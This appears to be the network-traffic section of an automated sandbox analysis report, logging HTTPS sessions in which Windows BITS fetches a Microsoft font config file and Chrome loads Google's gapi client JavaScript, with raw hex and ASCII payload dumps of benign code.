2024-11-25 04:58:18 UTC	1390	IN	Data Raw: 62 21 3d 3d 22 22 7c 7c 21 61 2e 65 6e 64 73 57 69 74 68 28 22 2e 6a 73 22 29 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 61 2e 6c 65 6e 67 74 68 2d 33 29 2c 62 3d 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2f 22 29 2b 31 2c 62 3e 3d 61 2e 6c 65 6e 67 74 68 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 28 62 29 2e 73 70 6c 69 74 28 22 3a 22 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 21 5b 22 61 70 69 22 2c 22 70 6c 61 74 66 6f 72 6d 22 5d 2e 69 6e 63 6c 75 64 65 73 28 64 29 7d 29 2c 63 2e 66 65 61 74 75 72 65 73 3d 61 29 29 7d 5d 29 3b 51 2e 62 73 30 3d 77 69 6e 64 6f 77 2e 67 61 70 69 2e 5f 62 73 7c 7c 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3b 52 28 22 62 73 30 22 29 3b 51 2e 62 73 31 3d Data Ascii: b!==""\|\|!a.endsWith(".js")\|\|(a=a.substring(0,a.length-3),b=a.lastIndexOf("/")+1,b>=a.length\|\|(a=a.substr(b).split(":").filter(function(d){return!["api","platform"].includes(d)}),c.features=a))}]);Q.bs0=window.gapi._bs\|\|(new Date).getTime();R("bs0");Q.bs1=
2024-11-25 04:58:18 UTC	1390	IN	Data Raw: 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 70 6c 75 73 2f 63 69 72 63 6c 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 0a 70 6c 75 73 5f 73 68 61 72 65 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 2b 31 2f 73 68 61 72 65 62 75 74 74 6f 6e 3f 70 6c 75 73 53 68 61 72 65 3d 74 72 75 65 26 75 73 65 67 61 70 69 3d 31 22 7d 2c 72 62 72 5f 73 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 73 69 6d 70 6c 65 73 63 72 6f 6c 6c 65 72 22 7d 2c 22 3a 73 Data Ascii: ix::se:_/widget/plus/circle?usegapi=1"},plus_share:{params:{url:""},url:":socialhost:/:session_prefix::se:_/+1/sharebutton?plusShare=true&usegapi=1"},rbr_s:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarsimplescroller"},":s
2024-11-25 04:58:18 UTC	1390	IN	Data Raw: 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 69 6e 76 69 74 61 74 69 6f 6e 22 7d 2c 73 68 61 72 65 3a 7b 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 69 6d 5f 70 72 65 66 69 78 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 73 68 61 72 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 70 6c 75 73 6f 6e 65 3a 7b 70 61 72 61 6d 73 3a 7b 63 6f 75 6e 74 3a 22 22 2c 0a 73 69 7a 65 3a 22 22 2c 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f Data Ascii: ams:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarinvitation"},share:{url:":socialhost:/:session_prefix::im_prefix:_/widget/render/share?usegapi=1"},plusone:{params:{count:"",size:"",url:""},url:":socialhost:/:session_prefix::se:_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49751	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 04:58:18 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=102913 Date: Mon, 25 Nov 2024 04:58:18 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49752	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 04:58:20 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=102889 Date: Mon, 25 Nov 2024 04:58:20 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-25 04:58:20 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49754	172.217.17.78	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:20 UTC	667	OUT	GET /js/client.js?onload=gapiLoaded HTTP/1.1 Host: apis.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=B6G9py2v4WviFd0VL9VZAwRS3el97EaJGJOVbI-CGjqEvmPlXMQELm2aL8BiIZEk6EhNllSohvQoIx56GU4lkwDlyGs4_rtaecHqSJgy3dAO_1ZeSu9jaqSJRgkQwQ2KPaBBHkxKEtH2GEEpRq4A8xfMQGGHfu5AuwExnBdFuiS6XwGQSEqCqO0
2024-11-25 04:58:21 UTC	837	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript Access-Control-Allow-Origin: * Content-Security-Policy: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gapi-team Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="gapi-team" Report-To: {"group":"gapi-team","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gapi-team"}]} Timing-Allow-Origin: * Content-Length: 14469 Date: Mon, 25 Nov 2024 04:58:21 GMT Expires: Mon, 25 Nov 2024 04:58:21 GMT Cache-Control: private, max-age=1800, stale-while-revalidate=1800 ETag: "5260c790e838b34d" X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 04:58:21 UTC	553	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 2c 62 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e Data Ascii: (function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof win
2024-11-25 04:58:21 UTC	1390	IN	Data Raw: 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 62 21 3d 6e 75 6c 6c 26 26 61 61 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 Data Ascii: break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegEx
2024-11-25 04:58:21 UTC	1390	IN	Data Raw: 72 72 6f 72 28 22 42 61 64 20 73 65 63 72 65 74 22 29 3b 74 68 69 73 2e 6c 3d 61 7d 3b 79 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 7d 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 29 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 22 29 3b 76 61 72 20 41 3d 5b 5d 2c 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 41 20 55 52 4c 20 77 69 74 68 20 63 6f 6e 74 65 6e 74 20 27 22 2b 61 2b 22 27 20 77 61 73 20 73 61 6e 69 74 69 7a 65 64 20 61 77 61 79 2e 22 29 7d 3b 41 2e 69 6e 64 65 78 4f 66 28 44 29 3d 3d 3d 2d 31 26 26 41 2e 70 75 73 68 28 44 29 3b 2f 2a 0a 20 67 61 70 69 2e Data Ascii: rror("Bad secret");this.l=a};y.prototype.toString=function(){return this.l};new y("about:blank");new y("about:invalid#zClosurez");var A=[],D=function(a){console.warn("A URL with content '"+a+"' was sanitized away.")};A.indexOf(D)===-1&&A.push(D);/* gapi.
2024-11-25 04:58:21 UTC	1390	IN	Data Raw: 6b 61 2c 22 5f 70 22 2c 49 28 29 29 2c 48 28 62 2c 63 2c 49 28 29 29 5b 61 5d 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 52 28 61 2c 22 5f 70 22 2c 63 29 29 7d 2c 6d 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 6a 6f 69 6e 28 22 5f 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2e 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2d 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 2c 2f 67 2c 22 5f 22 29 7d 3b 76 61 72 20 6e 61 3d 49 28 29 2c 55 3d 5b 5d 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 42 61 64 20 68 69 6e 74 3a 20 22 2b 61 29 3b 7d 3b 55 2e 70 75 73 68 28 5b 22 6a 73 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 20 69 6e 20 61 29 Data Ascii: ka,"_p",I()),H(b,c,I())[a]=(new Date).getTime(),R(a,"_p",c))},ma=function(a){return a.join("__").replace(/\./g,"_").replace(/\-/g,"_").replace(/,/g,"_")};var na=I(),U=[],V=function(a){throw Error("Bad hint: "+a);};U.push(["jsl",function(a){for(var b in a)
2024-11-25 04:58:21 UTC	1390	IN	Data Raw: 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 22 2c 22 29 7d 3b 72 65 74 75 72 6e 5b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 2e 70 61 74 68 50 72 65 66 69 78 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 0a 22 2c 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 46 2f 67 2c 22 2f 22 29 2c 22 2f 6b 3d 22 2c 65 28 61 2e 76 65 72 73 69 6f 6e 29 2c 22 2f 6d 3d 22 2c 65 28 62 29 2c 64 3f 22 2f 65 78 6d 3d 22 2b 65 28 64 29 3a 22 22 2c 22 2f 72 74 3d 6a 2f 73 76 3d 31 2f 64 3d 31 2f 65 64 3d 31 22 2c 61 2e 67 3f 22 2f 61 6d 3d 22 2b 65 28 61 2e 67 29 3a 22 22 2c 61 2e 69 3f 22 2f 72 73 3d 22 2b 65 28 61 2e 69 29 3a 22 22 2c 61 2e 6a 3f 22 2f 74 3d 22 2b 65 28 61 2e 6a 29 3a 22 22 2c 22 2f 63 62 3d 22 2c 65 28 63 29 5d 2e 6a 6f 69 6e 28 22 22 Data Ascii: .replace(/%2C/g,",")};return[encodeURIComponent(a.pathPrefix).replace(/%2C/g,",").replace(/%2F/g,"/"),"/k=",e(a.version),"/m=",e(b),d?"/exm="+e(d):"","/rt=j/sv=1/d=1/ed=1",a.g?"/am="+e(a.g):"",a.i?"/rs="+e(a.i):"",a.j?"/t="+e(a.j):"","/cb=",e(c)].join(""
2024-11-25 04:58:21 UTC	1390	IN	Data Raw: 61 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 7b 76 61 72 20 65 3d 61 5b 64 5d 2c 66 3b 69 66 28 66 3d 65 29 7b 61 3a 7b 66 6f 72 28 66 3d 30 3b 66 3c 62 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 69 66 28 62 5b 66 5d 3d 3d 3d 65 29 62 72 65 61 6b 20 61 3b 66 3d 2d 31 7d 66 3d 66 3c 30 7d 66 26 26 63 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 63 7d 2c 43 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 4d 2e 6e 6f 6e 63 65 3b 72 65 74 75 72 6e 20 61 21 3d 3d 76 6f 69 64 20 30 3f 61 26 26 61 3d 3d 3d 53 74 72 69 6e 67 28 61 29 26 26 61 2e 6d 61 74 63 68 28 41 61 29 3f 61 3a 4d 2e 6e 6f 6e 63 65 3d 6e 75 6c 6c 3a 46 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 3f 28 61 3d 46 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 73 63 72 69 70 74 5b 6e 6f 6e 63 65 5d Data Ascii: a.length;++d){var e=a[d],f;if(f=e){a:{for(f=0;f<b.length;f++)if(b[f]===e)break a;f=-1}f=f<0}f&&c.push(e)}return c},Ca=function(){var a=M.nonce;return a!==void 0?a&&a===String(a)&&a.match(Aa)?a:M.nonce=null:F.querySelector?(a=F.querySelector("script[nonce]
2024-11-25 04:58:21 UTC	1390	IN	Data Raw: 22 54 69 6d 65 6f 75 74 20 72 65 71 75 69 72 65 73 20 62 6f 74 68 20 74 68 65 20 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 61 6e 64 20 6f 6e 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 74 6f 20 62 65 20 73 65 74 22 3b 0a 6c 3d 48 28 4f 28 63 29 2c 22 72 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 3b 76 61 72 20 47 3d 48 28 4f 28 63 29 2c 22 4c 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 2c 4d 61 3d 4d 2e 6c 65 7c 7c 5b 5d 2c 4b 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6c 29 2c 6c 61 3d 66 75 6e 63 74 69 6f 6e 28 77 2c 42 29 7b 69 66 28 7a 29 72 65 74 75 72 6e 20 30 3b 45 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 71 29 3b 47 2e 70 75 73 68 2e 61 70 70 6c 79 28 47 2c 72 29 3b 76 61 72 20 43 3d 28 28 4a 7c 7c 7b 7d 29 2e 63 6f 6e 66 69 67 7c 7c 7b 7d 29 2e 75 Data Ascii: "Timeout requires both the timeout parameter and ontimeout parameter to be set";l=H(O(c),"r",[]).sort();var G=H(O(c),"L",[]).sort(),Ma=M.le\|\|[],K=[].concat(l),la=function(w,B){if(z)return 0;E.clearTimeout(q);G.push.apply(G,r);var C=((J\|\|{}).config\|\|{}).u
2024-11-25 04:58:21 UTC	1390	IN	Data Raw: 62 21 3d 3d 22 22 7c 7c 21 61 2e 65 6e 64 73 57 69 74 68 28 22 2e 6a 73 22 29 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 61 2e 6c 65 6e 67 74 68 2d 33 29 2c 62 3d 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2f 22 29 2b 31 2c 62 3e 3d 61 2e 6c 65 6e 67 74 68 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 28 62 29 2e 73 70 6c 69 74 28 22 3a 22 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 21 5b 22 61 70 69 22 2c 22 70 6c 61 74 66 6f 72 6d 22 5d 2e 69 6e 63 6c 75 64 65 73 28 64 29 7d 29 2c 63 2e 66 65 61 74 75 72 65 73 3d 61 29 29 7d 5d 29 3b 51 2e 62 73 30 3d 77 69 6e 64 6f 77 2e 67 61 70 69 2e 5f 62 73 7c 7c 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3b 52 28 22 62 73 30 22 29 3b 51 2e 62 73 31 3d Data Ascii: b!==""\|\|!a.endsWith(".js")\|\|(a=a.substring(0,a.length-3),b=a.lastIndexOf("/")+1,b>=a.length\|\|(a=a.substr(b).split(":").filter(function(d){return!["api","platform"].includes(d)}),c.features=a))}]);Q.bs0=window.gapi._bs\|\|(new Date).getTime();R("bs0");Q.bs1=
2024-11-25 04:58:21 UTC	1390	IN	Data Raw: 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 70 6c 75 73 2f 63 69 72 63 6c 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 0a 70 6c 75 73 5f 73 68 61 72 65 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 2b 31 2f 73 68 61 72 65 62 75 74 74 6f 6e 3f 70 6c 75 73 53 68 61 72 65 3d 74 72 75 65 26 75 73 65 67 61 70 69 3d 31 22 7d 2c 72 62 72 5f 73 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 73 69 6d 70 6c 65 73 63 72 6f 6c 6c 65 72 22 7d 2c 22 3a 73 Data Ascii: ix::se:_/widget/plus/circle?usegapi=1"},plus_share:{params:{url:""},url:":socialhost:/:session_prefix::se:_/+1/sharebutton?plusShare=true&usegapi=1"},rbr_s:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarsimplescroller"},":s
2024-11-25 04:58:21 UTC	1390	IN	Data Raw: 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 69 6e 76 69 74 61 74 69 6f 6e 22 7d 2c 73 68 61 72 65 3a 7b 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 69 6d 5f 70 72 65 66 69 78 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 73 68 61 72 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 70 6c 75 73 6f 6e 65 3a 7b 70 61 72 61 6d 73 3a 7b 63 6f 75 6e 74 3a 22 22 2c 0a 73 69 7a 65 3a 22 22 2c 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f Data Ascii: ams:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarinvitation"},share:{url:":socialhost:/:session_prefix::im_prefix:_/widget/render/share?usegapi=1"},plusone:{params:{count:"",size:"",url:""},url:":socialhost:/:session_prefix::se:_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49756	172.217.17.78	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:22 UTC	1006	OUT	GET /_/scs/abc-static/_/js/k=gapi.lb.en.6zM9SN8ON8Q.O/m=client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo9LiInNUyZ6A99oK9HdmPXGee7Zyg/cb=gapi.loaded_0?le=scs HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sites.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=B6G9py2v4WviFd0VL9VZAwRS3el97EaJGJOVbI-CGjqEvmPlXMQELm2aL8BiIZEk6EhNllSohvQoIx56GU4lkwDlyGs4_rtaecHqSJgy3dAO_1ZeSu9jaqSJRgkQwQ2KPaBBHkxKEtH2GEEpRq4A8xfMQGGHfu5AuwExnBdFuiS6XwGQSEqCqO0
2024-11-25 04:58:23 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 321092 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 21 Nov 2024 11:54:29 GMT Expires: Fri, 21 Nov 2025 11:54:29 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 11 Nov 2024 18:50:50 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 320634 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 04:58:23 UTC	474	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 32 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 61 61 2c 62 61 2c 66 61 2c 6d 61 2c 6e 61 2c 72 61 2c 73 61 2c 75 61 3b 61 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x200000, ]);var aa,ba,fa,ma,na,ra,sa,ua;aa=fun
2024-11-25 04:58:23 UTC	1390	IN	Data Raw: 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 66 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 